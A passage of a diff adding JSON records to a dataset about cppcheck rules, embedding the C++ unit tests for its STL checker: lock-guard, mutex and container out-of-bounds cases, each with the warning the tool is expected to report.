}\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/if_find.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/if_find.json new file mode 100644 index 0000000..7064f0f --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/if_find.json @@ -0,0 +1,22 @@ +{ + "name": "if_find", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 60, + "branches": 25, + "apis": 77, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 3559 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n \" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" 